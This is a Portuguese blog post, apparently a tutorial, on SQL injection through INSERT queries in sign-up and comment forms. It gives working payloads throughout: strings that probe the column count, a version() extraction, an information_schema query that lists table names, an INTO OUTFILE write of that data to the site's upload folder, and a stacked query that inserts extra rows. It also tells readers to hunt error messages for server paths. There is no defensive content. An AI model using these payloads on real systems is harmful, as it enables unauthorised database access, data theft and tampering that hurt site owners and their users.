Vou mostrar aqui uma técnica interessante para fazer SQL Injection baseado em Inserts.
É bom que você saiba algo sobre a linguagem SQL e como é um ataque de SQLi comum, ou o conteúdo ficará mais complicado.
Muitas vezes você encontra um alvo vulnerável a injeção de SQL, mas em uma query baseada em insert.
Isto é muito comum em formulários de comentário, cadastros e livros de visitas.
Por exemplo: digamos que o alvo tenha o seguinte formulário de cadastro:
1
2
3
4
| Nome: E-mail: Login: Senha: |
Temos várias maneiras para atacar. Vou mostrar apenas algumas.
Outras você pode ir em busca, na internet ou mesmo usar um pouco da criatividade e conhecimento em SQL pra montar suas próprias maneiras. Mas, primeiramente, vamos à lógica:
Saiba que se os dados que serão inseridos pelo comando INSERT INTO estão entre aspas, como no exemplo abaixo:
1
| INSERT INTO tabela VALUES ( '$_POST[nome]' , '$_POST[email]' ) |
Vamos precisar descobrir a quantidade de colunas que estamos lidando (as que estão sendo inseridas). Para tanto, colocaremos o seguinte no campo vulnerável (repare os espaços ao final dos ‘–’):
1
2
3
| ', ' 1');-- ', ' 1 ', ' 2');-- ', ' 1 ', ' 2 ', ' 3');-- |
Assim, vamos procurar identificar o que é aquela coluna. Como inserimos apenas o algarismo 1, procuramos no campo do perfil onde está este “1″. Ali será nossa chave.
Agora o ataque é baseado em consultas secundárias, com resultados únicos (apenas uma coluna e uma linha por vez) e impressos em uma dessas colunas. Por exemplo, vamos obter a versão do SQL, pra saber se podemos utilizar o banco de dados ‘information_schema’ (a versão precisa ser igual ou superior a 5, quando isto foi implementado). Veja o que vamos inserir no campo vulnerável:
1
| ', version());-- |
1
| ,' (select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1));-- |
É necessário também saber a localização física do servidor. Você pode procurar isso em um erro. Saia à procura de erros, que se pareçam com:
1
| (Tipo do erro): (Descrição) in /home/localizacao/ do /site/arquivo.php on line X |
1
| ,'
(select group_concat(table_name) from information_schema.tables where
table_schema=database() limit 0,1) INTO OUTFILE /home/localizacao/ do /site/upload/dados.txt);-- |
Caso o servidor não seja MySQL e suporte mais de uma consulta, você pode fazer uma segunda query, até mesmo inserindo dados, da seguinte maneira:
1
| , '1' ); INSERT INTO tabela (`coluna1`, `coluna2`) VALUES ( 'valor1' , 'valor2' );-- (espaço aqui) |
Neste tipo de ataque, você estará se baseando no valor booleano (true/verdadeiro ou false/incorreto), como em qualquer blind. Mas a resposta virá no tempo que o servidor te envia a resposta.
Mas isso vamos ver numa próxima. Tudo bem assim?
Bons estudos.
0 comentários:
Postar um comentário